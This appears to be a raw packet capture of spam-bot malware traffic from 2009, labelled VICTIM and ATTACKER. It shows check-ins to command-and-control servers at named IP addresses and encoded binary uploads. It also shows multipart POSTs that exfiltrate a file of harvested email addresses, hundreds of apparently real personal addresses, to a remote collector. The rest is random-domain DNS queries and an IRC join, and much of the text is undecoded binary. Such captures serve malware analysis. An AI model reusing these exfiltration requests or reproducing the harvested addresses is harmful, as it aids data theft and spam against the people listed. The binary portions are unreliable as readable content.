\234\242\317\236\332\232\325\226\335\222\334\216\330\212\347\206\332\202\355~\351z\356v\354r\255n\341j\007f\010b\023^Z\tV\016R\037N\321J+F\352B\353>\361jG8\2308\326XWr[\035\346#\344\$\201\234\347\326\031\224\357\312\363\013\3656{\004\262\004\$\213>\217\351\032\357\030\353E\002\037\354Gdi`\034\343*\336.\324a\3309\316\377Z\266\GT(K\264T~\321,W.\343h\223\000\246\236v\\302\362\3237IR\244W\307\224\202B\370\320J\266\347\030\206\370\231Q\374YH\255\246\214\007\023[/}\250C\247U\377\021u\357W\240\037Qw\327!\274dL\352pG;\315\356\302=\001X\300h\255\312N\357\242\304Q4\025\323\204{T\221\014\205Y\322\374\021|&R\332[\206)K\216\232\007\036x?\341\265P\210c]\301\250f\034\331\243\231\236\316e\336*\316!t\350\212\013LB\036\306cb;\305\355\201\200n\237\230\350\277\003I\243\$\275\231V\363\264\001\242\254j\323\366\033\266\335\377\013\353\020F\365@Ha\304\232\335\300\211\355\337\257Pk\332\205\231\374\205\213\021\241\hB\373\251?v\331[\3116\327\025\017\031\213\317\320\017\273\246sSO\261\030m\267p\222x^\211\207\211\304Q\267\341Y 58\276\231\351o\261\030W\246c\033\t\361\342\021\33263,\323\361\006\024/\035}\222\246\267\221\242\237\020\377\200\220\375\003\264\217U\031Gp\017\005fg\312]\311e\366\315\231\223t\336\332\234w\232C\262\214\260 \370a\264\363\361{|\246A96\344\232\356\347\363[?\345\314Ro\007\300<\032\377\322\013\275~\245/\3769\016\001\247\256\246\375\341\263\234\306\220\235C\261X\363\tm-g \264'\236_|I\005\020&_\266\313\331\363\345.-\3368HG\214(5\260\251\343/\277\\=U\351]\007W\245Z VICTIM: \343\371}\007\354.\356r\014\224\273PH\030W\236(\324\243\304\006\375\275d0U[Z\220\005\004^\323+\353\211<\313\020\207\337\311z GV\225e\003\007<-n\272\253T\002\372\362&\033T\022^`\026\372D\2349Q:&\007\300\232h%XY\2278\312\334\344)\251\246\007\216{\226\t\177\307\263\213=\034\026\032\330\\241<\345\000\006U\341\362~\267iJO\327][\253\316\267\243\010O<\303\004\346`\265\245\177\3618P\350\206h\211%J\232E\203\304\007\370v=M\267K\366\210\312\241\335\255\223\016\373\246\375BG\343l\215pF\022 \271\234TF\230\245\353q\000\346\304CmU&I\245\322M\222m\371'\005\350\236\033\241\236\367F<\026\3541\205u|\356\277\272}\357@/M\256\210\231\220\377\335\362H\033\0346\233i\004\234z\005]|U\363\301\3714Q@'\246\334\025\324\\\231\311\235\255\241\221{\213\244\220\200\200\233~\231\342\226\=y!\231\003U\221\237\227BG\304\013\310\253/*R\305\215\315\355:\232O\257]\353\035\325\267\307\001\014c\211g#\202 ATTACKER: HTTP/1.1 200 OKDate: Mon, 19 Jan 2009 09:12:20 GMTServer: Apache/2X-Powered-By: PHP/5.2.6Hall: OKVary: Accept-Encoding,User-AgentContent-Length: 0Keep-Alive: timeout=1, max=100Connection: Keep-AliveContent-Type: text/html ATTACKER: GET /spm/s_alive.php?id=357472746750&tick=2148781&ver=222&smtp=bad HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; VS2)Host: 91.207.7.194Accept: */*Connection: Keep-Alive ATTACKER: HTTP/1.1 200 OKServer: nginx/0.5.35Date: Mon, 19 Jan 2009 09:27:08 GMTContent-Type: text/htmlConnection: keep-aliveX-Powered-By: PHP/5.2.5Content-Length: 1600051A0B1917036F ATTACKER: HTTP/1.1 200 OKDate: Mon, 19 Jan 2009 09:12:20 GMTServer: Apache/2X-Powered-By: PHP/5.2.6Hall: OKVary: Accept-Encoding,User-AgentContent-Length: 0Keep-Alive: timeout=1, max=100Connection: Keep-AliveContent-Type: text/html VICTIM: POST /del/us.php?1=sri_zojk5nlqcr3_00044f07&i= HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: zonephp.comContent-Length: 151Connection: Keep-AlivePragma: no-cacheLLAH\217\000\000\000\367\t\362\032\021\002\025\353d\342\035\336\372\341&\326*\322@\316:\312;\306V\302\035\300\345\273J\266\334\272M\256S\237.\263Y\253a\341\233\366\274\337\267\340\301\352\305\317\302\326\325\345\360\360\364\355\350\244\356\352\362\326\005\336\005\240\310\221\376\300\020\317\031\311\030\270!\305\026\253't'\2471m'\236\364\250.\242\373\2369\232\337x>\210B\220F\214\0376\026\0341oek/\020\003goY1WB+7\:\370v\\p\026Q?Z'x9 ATTACKER: HTTP/1.1 200 OKDate: Mon, 19 Jan 2009 09:12:21 GMTServer: Apache/2X-Powered-By: PHP/5.2.6Hall: OKVary: Accept-Encoding,User-AgentContent-Length: 0Keep-Alive: timeout=1, max=99Connection: Keep-AliveContent-Type: text/html VICTIM: POST /del/us.php?1=sri_zojk5nlqcr3_00044f07&i= HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: zonephp.comContent-Length: 162Connection: Keep-AlivePragma: no-cacheLLAH\232\000\000\000\367\t\362\032\021\002\025\353o\342\035\336\372\341&\326*\322@\316:\312;\306f\302\305\277\345\273J\266\334\272M\256S\307l\264Y\253a\341\233\366\274\337\267\340\301\352\305\317\302\326\325\345\360\360\364\355\350\244\356\352\362\326\005\336\005\240\310\221\376\300\020\317\031\311\030\270!\305\026\253't'\2471m'\236\364\250.\242\373\2369\232\337x>\210B\220F\214\0376\026\0341oek/\020\003goY1WB+7\:\370v\\p\026Q?Z'x9/;\233-]\006\216\007~\035\230 VICTIM: POST /hgni/emrecv.php HTTP/1.1Accept: */*Content-Type: multipart/form-data; boundary=---------------------------7d7226bd0c26User-Agent: Microsoft Internet ExplorerHost: 69.46.16.191Content-Length: 6974-----------------------------7d7226bd0c26Content-Disposition: form-data; name=\data\; filename=\log.dat\Content-Type: application/octet-streamperlbug@perl.orgtchrist@mox.perl.combradapp@enteract.comjhi@iki.fijhi@iki.fibdfoy@cpan.orgrmb1@cise.npl.co.ukperl5-porters@perl.orgperl5-porters-request@perl.orgperlfaq-workers@perl.orgperlfaq-workers@perl.orgswmcd@world.std.comlarry@wall.orgcwilson@ece.gatech.educwilson@ece.gatech.eduegf7@columbia.eduals@turnhere.comnewspost@morlock.netSebastien.Barre@utc.frburgers@ecn.nlgp@familiehaase.degp@familiehaase.deh.m.brand@xs4all.nlh.m.brand@xs4all.nlrichard@rfi.netrjk@linguist.dartmouth.edurjk@linguist.dartmouth.eduhv@crypt0.demon.co.ukPeter@PSDT.comPeter@PSDT.compueschel@imsdd.meb.uni-bonn.detrg@privat.utfors.sejwz@netscape.comjk@auto.tuwien.ac.atpvhp@best.comA.Pirard@ulg.ac.beThomas.Dorner@start.dedougm@covalent.netdougm@covalent.nettchrist@perl.comsomeuser@host.comsome@other.comsome@more.combonefish@cs.tu-berlin.degsar@activestate.comPaul.Marquess@btinternet.comokamoto@corp.hp.comokamoto@corp.hp.comnick@ccl4.orgperl-mvs-subscribe@perl.orgperl-mvs-subscribe@perl.orgperl-mvs@perl.orgperl@7582.tar.gzperl@7582.tar.gzperlbug@perl.co VICTIM: mdaily-build@perl.orgdaily-build@perl.orgperl5-porters-subscribe@perl.orgperl5-porters-subscribe@perl.orgperl5-porters-faq@perl.orgperlce-users@lists.sourceforge.netkeuchel@netwave.dekeuchel@netwave.devkonovalov@spb.lucent.comjuerd@cpan.orgmodules@perl.orgyourname@cpan.orgsimon@cpan.orgskud@cpan.orgautrijus@autrijus.orgautrijus@autrijus.orgcpan@ilyaz.orgcpan@ilyaz.orggsar@ActiveState.comcpan-testers@perl.orgemx@iaehv.nlmajordomo@perl.orgmajordomo@perl.orgmajordomo@list.stratagy.commajordomo@list.stratagy.comabigail@foad.orgabigail@foad.orgbailey@newman.upenn.edugbarr@pobox.comtchrist@perl.comtchrist@perl.comdoughera@lafayette.edudomo@computer.orgdomo@computer.orgneale@vma.tabnsw.com.audavidf@mks.comdavidf@mks.comPaul_Green@stratus.commjtg@cam.ac.uklutherh@stratcom.comlutherh@stratcom.comnick@ing-simmons.neta.koenig@mind.demlaker@contax.co.ukaml@world.std.comaml@world.std.comljmoore@freespace.netljmoore@freespace.netPaul.Moore@uk.origin-it.compudge@pobox.comneeracher@mac.comneeracher@mac.compne@cpan.orgrootbeer@teleport.compvhp@forte.comschinder@pobox.comschinder@pobox.comschwern@pobox.comdan@sidhe.orggnat@frii.comsteve@fisharerojo.orgsteve@fisharerojo.orgallen@huarp.harvard.eduDavid.Billinghurst@riotinto.com.auHannu.Napari@hut.fidankogai@dan.co.jpdankogai@dan.co.jpjshin@mailaps.orgjshin@mailaps.orgsugalskd@ous.edusherm@dot-app.orgsherm@dot-app.orgmontbriand@apple.c VICTIM: ommontbriand@apple.combammi@cadence.comguido@FreeMiNT.deskimo@dns.ufsia.ac.bedougm@osf.orgtassilo.von.parseval@rwth-aachen.detassilo.von.parseval@rwth-aachen.decasey@geeknest.comcasey@geeknest.commodules@perl.orgjwalt@cpan.orgliz@dijkmat.nlhyanantha@novell.comcaditya@novell.comcaditya@novell.comsol0@Lehigh.EDUsol0@Lehigh.EDUStephen.O.Lidie@Lehigh.EDUStephen.O.Lidie@Lehigh.EDUctdean@cogit.comjhobbs@cs.uoregon.eduslaven.rezic@berlin.dersi@earthling.netsmithj4@rpi.edusmithj4@rpi.edueserte@cs.tu-berlin.degerhard@petrowitsch.degerhard@petrowitsch.dedunniganj@cpan.orglusol@Lehigh.EDUderf@ti.comLichtenwalder@ACM.orgkatz@fs09.webo.dg.comjs@world.northgrum.combvance@ti.comslaven@rezic.deben.pavon@hsc.hac.comben.pavon@hsc.hac.comdecoux@moulon.inra.frdecoux@moulon.inra.frnick@ni-s.u-net.comioi@graphics.cis.upenn.eduach@mpe.mpg.deGraham.Barr@tiuk.ti.comada@fc.hp.comada@fc.hp.comjohn@WPI.EDUpassword@ftp.somewhere.compaulclinger@yahoo.comrho@bigpond.net.auTim.Bunce@pobox.compassword@jabber.orgsoaplite_server@jabber.orgbjepson@jepstone.netbjepson@jepstone.netSteve_Alpert@idx.comSteve_Alpert@idx.comthong@xmethods.netmurray@ActiveState.comgisle@ActiveState.comgisle@ActiveState.comcc@roberts.decc@roberts.degraham-glass@mindspring.comchris@velocigen.comu_arunkumar@yahoo.comu_arunkumar@yahoo.comlukka@iki.fiSADAHIRO@cpan.orgtye@metronet.combret@essex.ac.ukmichael@ecel.uwa.edu.aumichael VICTIM: @ecel.uwa.edu.aurothd@roth.netperl-unicode@perl.orgmbeattie@sable.ox.ac.ukTim.Bunce@ig.co.ukgregor@focusresearch.comgregor@focusresearch.comtom@compton.nuenache@rdslink.roenache@rdslink.rouser@outside.host.comandreas.koenig@anima.deLionel.Cons@cern.chKWILLIAMS@cpan.orgnik@tiuk.ti.comnik@tiuk.ti.compmqs@cpan.orggisle@aas.nogisle@aas.nodamian@conway.orgrgarciasuarez@free.frpasswd@ftp.some.where.comabc1234@a.sn.nolibwww@perl.orgvkon@cpan.orgvkon@cpan.orgmjd-perl-memoize-request@plover.comsburke@cpan.orgsburke@cpan.orgtcltk@perl.orgtcltk@perl.orgtcltk-subscribe@perl.orgperl5-porters@isu.edulwall@scalpel.netlabs.comJenda@Krynicky.czd.cottle@csc.canterbury.ac.nzd.cottle@csc.canterbury.ac.nzsebastien@aperghis.netpfeifer@charly.informatik.uni-dortmund.debah@ecnvantage.comA.Ford@ford-mason.co.ukgresham_jeffrey@jpmorgan.commurray@activestate.compcg@opengroup.orgjustinb@wamnet.comsog@msg.com.mxerik@solbors.noRaphael_Manfredi@pobox.comRaphael_Manfredi@pobox.comrootbeer@redcat.comperl@itz.pp.sci.fiperl-module-if@ilyaz.orgpassword@proxy.myorg.comActivePerl-Feedback@ActiveState.comActivePerl-Feedback@ActiveState.comShaneC@ActiveState.comE.Mergl@bawue.desam@tregar.comsam@tregar.comtjenness@cpan.orgtjenness@cpan.orgbug-test-harness@rt.cpan.organdy@petdance.comjoe@ispsoft.deWolfgang.Laun@alcatel.atmarekr@cpan.orgmarekr@cpan.orgjand@activestate.comjand@activestate.combeller@penvision.com VICTIM: sol0@lehigh.eduperlbug-test@perl.orgperlbug-test@perl.orgkjahds@kjahds.comkjahds@kjahds.comcfr@pobox.comcfr@pobox.commjtg@cam.a.ukmjtg@cam.a.ukhv@crypt.orgActivePerl-Bugs@ActiveState.comtchrist@convex.comhakanson@cse.ogi.eduasherman@fmrco.comgsar@engin.umich.edudada@divinf.itknwang@synacklabs.netknwang@synacklabs.netdave@ActiveState.comsales@activestate.comdougl@ActiveState.comdougl@ActiveState.comperlwin32faq@rto.dkuser@there.comuser@here.comuser@here.comsome@address.comjohnny@doel.orgorwant@tpj.comjan.dubois@ibm.netcjm@pobox.comdada@divinf.ithimazu@gmail.comhimazu@gmail.comdada@perl.itdada@perl.ita.calpini@romagiubileo.ita.calpini@romagiubileo.ittho@melexis.commartin.pauley@ulsterbank.ltd.ukjmk@exc.bybyte.destever@evolvecomm.comJanD@ActiveState.comrspier@seas.upenn.edudmag@umich.edudmag@umich.edujand@activestate.comjmk@bybyte.deleon@astray.competek@cpan.orgsreeji_k@yahoo.comsreeji_k@yahoo.comperl@bike-nomad.comkane@cpan.orgadamk@cpan.orgmaurice@lovelyfilth.comnedkonz@cpan.orgdeq@oct.zaq.ne.jpking@kong.comhedlund@best.comsgifford@suspectclass.comlstein@cshl.orgBrian@ThePaulsens.commakemaker@perl.orgmakemaker@perl.orgni-s@cpan.organdreas.koenig@mind.detimb@cpan.orgAlan.Burlison@uk.sun.comAlan.Burlison@uk.sun.com-----------------------------7d7226bd0c26-- ATTACKER: HTTP/1.1 200 OKDate: Mon, 19 Jan 2009 09:12:23 GMTServer: Apache/2X-Powered-By: PHP/5.2.6Hall: OKVary: Accept-Encoding,User-AgentContent-Length: 0Keep-Alive: timeout=1, max=98Connection: Keep-AliveContent-Type: text/html VICTIM: POST /del/us.php?1=sri_zojk5nlqcr3_00044f07&i= HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: zonephp.comContent-Length: 151Connection: Keep-AlivePragma: no-cacheLLAH\217\000\000\000\367\t\362\032\021\002\025\353d\342\035\336\372\341&\326*\322@\316:\312E\306V\302\350\301\345\273J\266\334\272M\256S*W\275Y\253a\341\233\366\274\337\267\340\301\352\305\317\302\326\325\345\360\360\364\355\350\244\356\352\362\326\005\336\005\240\310\221\376\300\020\317\031\311\030\270!\305\026\253't'\2471m'\236\364\250.\242\373\2369\232\337x>\210B\220F\214\0376\026\0341oek/\020\003goY1WB+7\:\370v\\p\026N?Z'x9 ATTACKER: HTTP/1.1 200 OKDate: Mon, 19 Jan 2009 09:12:24 GMTServer: Apache/2X-Powered-By: PHP/5.2.6Hall: OKVary: Accept-Encoding,User-AgentContent-Length: 0Keep-Alive: timeout=1, max=97Connection: Keep-AliveContent-Type: text/html VICTIM: POST /del/us.php?1=sri_zojk5nlqcr3_00044f07&i= HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: zonephp.comContent-Length: 151Connection: Keep-AlivePragma: no-cacheLLAH\217\000\000\000\367\t\362\032\021\002\025\353d\342\035\336\372\341&\326*\322@\316:\312O\306X\302H\277\345\273J\266\334\272M\256S\032\204\306Y\253a\341\233\366\274\337\267\340\301\352\305\317\302\326\325\345\360\360\364\355\350\244\356\352\362\326\005\336\005\240\310\221\376\300\020\317\031\311\030\270!\305\026\253't'\2471m'\236\364\250.\242\373\2369\232\337x>\210B\220F\214\0376\026\0341oek/\020\003goY1WB+7\:\370v\\p\026N?Z'x9 ATTACKER: HTTP/1.1 200 OKDate: Mon, 19 Jan 2009 09:12:25 GMTServer: Apache/2X-Powered-By: PHP/5.2.6Hall: OKVary: Accept-Encoding,User-AgentContent-Length: 0Keep-Alive: timeout=1, max=96Connection: Keep-AliveContent-Type: text/html ATTACKER: HTTP/1.1 200 OKDate: Mon, 19 Jan 2009 09:27:14 GMTServer: Apache/2.2X-Powered-By: PHP/5.2.5Content-Length: 51Content-Type: text/html/usr/home/webuser/public_html/hgni/emlog_105745.log VICTIM: \003T\001\000\000\001\000\000\000\000\000\001\013wejzuamurac\003com\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003T\001\000\000\001\000\000\000\000\000\001\013wejzuamurac\003com\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003T\001\000\000\001\000\000\000\000\000\001\013wejzuamurac\003com\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003T\001\000\000\001\000\000\000\000\000\001\013wejzuamurac\003com\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: POST /hgni/emrecv.php HTTP/1.1Accept: */*Content-Type: multipart/form-data; boundary=---------------------------7d7226bd0c26User-Agent: Microsoft Internet ExplorerHost: 69.46.16.191Content-Length: 7265-----------------------------7d7226bd0c26Content-Disposition: form-data; name=\data\; filename=\log.dat\Content-Type: application/octet-streammakemaker@perl.orgschwern@pobox.comschwern@pobox.comsburke@cpan.orgpmqs@cpan.orggbarr@pobox.como.flebbe@gmx.deo.flebbe@gmx.deschinder@pobox.comwegner_thomas@yahoo.comgrassie@perl.comgrassie@perl.comajs@ajs.comajs@ajs.combailey@newman.upenn.edugisle@aas.nogsar@activestate.comgnat@frii.comgnat@frii.comgbacon@cs.uah.eduTim.Bunce@ig.co.ukKWILLIAMS@cpan.orgkjahds@kjahds.comdoughera@lafayette.eduA.Koenig@franz.ww.TU-Berlin.DEshigio@tamacom.combarries@slaysys.comtjenness@cpan.orgdamian@conway.orgdbi-users@perl.orgdbi-users@perl.orgjzucker@cpan.orgjoe@ispsoft.dematt@sergeant.orgmatt@sergeant.orgflacoste@logreport.orgwolfgang@logreport.orgjleffler@informix.comsgoeldner@cpan.orgsam@tregar.comsam@tregar.commpeppler@itf.chbuzz@bear.comrickers@coe.drexel.edumetz@iam.unibe.chjohn@johncon.commathias@unicorn.swi.com.sgdbi-announce@perl.orgdbi-dev@perl.orgdbi-announce-help@perl.orgdbi-users-help@perl.orgdbi-dev-help@perl.orgjeff@vpservices.comjeff@vpservices.comhakan@munin.ub2.lu.sehakan@munin.ub2.lu.segsar@umich.edugsar@umich.eduperl5-po VICTIM: rters@perl.orgperl5-porters@perl.orgjvromans@squirrel.nlgbarr@ti.comN.Winton@axion.bt.co.ukgisle@ActiveState.commikem@open.com.aumikem@open.com.auuh@alumni.caltech.eduuh@alumni.caltech.edularry@wall.orgcoopercc@netheaven.compaulclinger@yahoo.comgrantm@cpan.orgjoe@smith.comjsmith@yahoo.combob@smith.comjoe@smith.comlstein@cshl.orgtom@compton.nujhi@iki.fijtillman@bigfoot.comjtillman@bigfoot.comgaas@cpan.orglachler@unm.eduneil@bowers.comhennecke@rz.uni-karlsruhe.dehennecke@rz.uni-karlsruhe.desunds@asictest.sc.ti.comm.koster@nexor.co.ukj.reichelt@nexor.co.ukj.reichelt@nexor.co.uk6gf@wsinti07.win.tue.nl6gf@wsinti07.win.tue.nlhansm@wsinti07.win.tue.nld-lewart@uiuc.eduRaphael_Manfredi@pobox.comRaphael_Manfredi@pobox.commjd-perl-memoize-request@Plover.comjns@gellyfish.comhenryg@WPI.EDUroderick@gate.netanonymous@cvs.roobik.combbb@cpan.orgcolinm@cpan.orgbronson@trestle.comkarrer@bernina.ethz.chpmarquess@bfsec.bt.co.ukmose@ns.ccsn.edumark@twoshortplanks.commark@twoshortplanks.comandy@petdance.comchromatic@wgz.orgdamian@conway.orgdamian@conway.orgpomeranz@netcom.comjbehrends@multimediaproduzenten.dejbehrends@multimediaproduzenten.deschwern@envirolink.orgschwern@envirolink.orgjfriedl@yahoo-inc.comstok@cybercom.netian@pipex.netrpinder@hsc.usc.edumuir@idiom.comt.jenness@jach.hawaii.edut.jenness@jach.hawaii.educsoelle@mph.auckland.ac.nzhv@crypt.compulink.co.ukShaneC@ActiveState.comSha VICTIM: neC@ActiveState.comE.Mergl@bawue.denik@tiuk.ti.comperl-module-hash-memoize@ilyaz.orged@membled.comed@membled.comStephen.O.Lidie@Lehigh.EDUlusol@Lehigh.EDUlusol@Lehigh.EDUwegscd@whirlpool.comroderick@argon.orgroderick@argon.orgdatetime@perl.orgautarch@urth.orgperl-unicode@perl.orgunicore@unicode.orgunicore@unicode.orgperl-mvs-subscribe@perl.orgperl-mvs-subscribe@perl.orgperl-mvs@perl.orghom00@utsglobal.comperlbug@perl.orgperlbug@perl.orgnick@ing-simmons.netjand@activestate.comjand@activestate.comsteve.hay@uk.radan.comsteve.hay@uk.radan.comperlbug@perl.comVMSPERL-SUBSCRIBE@PERL.ORGVMSPERL@PERL.ORGVMSPERL@PERL.ORGVMSPERL-UNSUBSCRIBE@PERL.ORGvmsperl@perl.orgvmsperl@perl.orgcraigberry@mac.compvhp@best.compvhp@best.comdan@sidhe.orgdan@sidhe.orgT.J.Adye@rl.ac.ukdenholm@conmat.phys.soton.ac.ukmark@infocomm.comrsalz@bbn.comJohn.Hasstedt@sunysb.eduPaul.Green@stratus.comokamoto@corp.hp.comokamoto@corp.hp.comroehrich@cray.comJoe.Smith@inwap.comActivePerl-Bugs@ActiveState.combradapp@enteract.combradapp@enteract.commarekr@cpan.orgtchrist@mox.perl.comperl-thanks@perl.orgabe@ztreet.demon.nltakis@XFree86.Orgtakis@XFree86.Orgtchrist@perl.comdoughera@lafcol.lafayette.edudoughera@lafcol.lafayette.edutjenness@cpan.orgtjenness@cpan.orgsimon@cozens.netsimon@cozens.netmah@everybody.orgmah@everybody.orgmarcel@codewerk.commarcel@codewerk.comhsmyers@sdragons.comhsmyers@sdragons.comsudhi@herle VICTIM: .netariels@compugen.co.ilferreira@triang.com.brr.de.vries@dutchspace.nldj@delorie.comdj@delorie.comdjgpp@delorie.comlaszlo.molnar@eth.ericsson.selaszlo.molnar@eth.ericsson.sepjfarley@banet.netpjfarley@banet.netpod-people@perl.orgolaf@oflebbe.debdfoy@cpan.orgrmb1@cise.npl.co.ukperl5-porters-request@perl.orgperl5-porters-request@perl.orgperlfaq-workers@perl.orgswmcd@world.std.comswmcd@world.std.comcwilson@ece.gatech.educwilson@ece.gatech.eduegf7@columbia.eduals@turnhere.comnewspost@morlock.netSebastien.Barre@utc.frSebastien.Barre@utc.frburgers@ecn.nlgp@familiehaase.degp@familiehaase.deh.m.brand@xs4all.nlh.m.brand@xs4all.nlrichard@rfi.netrjk@linguist.dartmouth.eduhv@crypt0.demon.co.ukPeter@PSDT.compueschel@imsdd.meb.uni-bonn.detrg@privat.utfors.sejwz@netscape.comjk@auto.tuwien.ac.atA.Pirard@ulg.ac.beA.Pirard@ulg.ac.beThomas.Dorner@start.dedougm@covalent.netsomeuser@host.comsome@other.comsome@more.combonefish@cs.tu-berlin.dePaul.Marquess@btinternet.comnick@ccl4.orgnick@ccl4.orgperl@7582.tar.gzdaily-build@perl.orgperl5-porters-subscribe@perl.orgperl5-porters-faq@perl.orgperlce-users@lists.sourceforge.netperlce-users@lists.sourceforge.netkeuchel@netwave.devkonovalov@spb.lucent.comjuerd@cpan.orgmodules@perl.orgyourname@cpan.orgsimon@cpan.orgskud@cpan.orgautrijus@autrijus.orgautrijus@autrijus.orgcpan@ilyaz.orgcpan@ilyaz.orggsar@ActiveState.comcpan-testers@perl.orgemx@iaehv.nl VICTIM: majordomo@perl.orgmajordomo@list.stratagy.comabigail@foad.orgabigail@foad.orgdomo@computer.orgneale@vma.tabnsw.com.audavidf@mks.comdavidf@mks.comPaul_Green@stratus.commjtg@cam.ac.ukmjtg@cam.ac.uklutherh@stratcom.coma.koenig@mind.demlaker@contax.co.ukmlaker@contax.co.ukaml@world.std.comaml@world.std.comljmoore@freespace.netPaul.Moore@uk.origin-it.compudge@pobox.compudge@pobox.comneeracher@mac.compne@cpan.orgpne@cpan.orgrootbeer@teleport.compvhp@forte.comsteve@fisharerojo.orgallen@huarp.harvard.eduDavid.Billinghurst@riotinto.com.auHannu.Napari@hut.fidankogai@dan.co.jpjshin@mailaps.orgjshin@mailaps.orgsugalskd@ous.edusherm@dot-app.orgsherm@dot-app.orgmontbriand@apple.combammi@cadence.comguido@FreeMiNT.deguido@FreeMiNT.deskimo@dns.ufsia.ac.beskimo@dns.ufsia.ac.bedougm@osf.orgdougm@osf.orgtassilo.von.parseval@rwth-aachen.detassilo.von.parseval@rwth-aachen.decasey@geeknest.comjwalt@cpan.orgjwalt@cpan.orgliz@dijkmat.nlhyanantha@novell.comcaditya@novell.comcaditya@novell.comsol0@Lehigh.EDUsol0@Lehigh.EDUctdean@cogit.comjhobbs@cs.uoregon.eduslaven.rezic@berlin.dersi@earthling.netsmithj4@rpi.edusmithj4@rpi.edueserte@cs.tu-berlin.degerhard@petrowitsch.degerhard@petrowitsch.dedunniganj@cpan.orgderf@ti.comderf@ti.comLichtenwalder@ACM.orgkatz@fs09.webo.dg.comjs@world.northgrum.comjs@world.northgrum.combvance@ti.comslaven@rezic.deben.pavon@hsc.hac.comben.pavon@hsc.hac.comdecou VICTIM: x@moulon.inra.frdecoux@moulon.inra.frnick@ni-s.u-net.comnick@ni-s.u-net.comioi@graphics.cis.upenn.eduioi@graphics.cis.upenn.edu-----------------------------7d7226bd0c26-- ATTACKER: HTTP/1.1 200 OKDate: Mon, 19 Jan 2009 09:27:47 GMTServer: Apache/2.2X-Powered-By: PHP/5.2.5Content-Length: 51Content-Type: text/html/usr/home/webuser/public_html/hgni/emlog_105746.log VICTIM: \003U\001\000\000\001\000\000\000\000\000\001hanocuhakz\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003U\001\000\000\001\000\000\000\000\000\001hanocuhakz\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003U\001\000\000\001\000\000\000\000\000\001hanocuhakz\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003U\001\000\000\001\000\000\000\000\000\001hanocuhakz\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003U\001\000\000\001\000\000\000\000\000\001hanocuhakz\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003U\001\000\000\001\000\000\000\000\000\001hanocuhakz\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003U\001\000\000\001\000\000\000\000\000\001hanocuhakz\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003U\001\000\000\001\000\000\000\000\000\001hanocuhakz\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003U\001\000\000\001\000\000\000\000\000\001hanocuhakz\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003U\001\000\000\001\000\000\000\000\000\001hanocuhakz\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003U\001\000\000\001\000\000\000\000\000\001hanocuhakz\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003U\001\000\000\001\000\000\000\000\000\001hanocuhakz\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003V\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003V\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003V\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 ATTACKER: PING :i. ATTACKER: PONG :i. VICTIM: JOIN &virtu VICTIM: \003V\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003V\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003V\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003V\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003V\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003V\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003V\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003V\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003V\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003W\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003W\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003W\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: 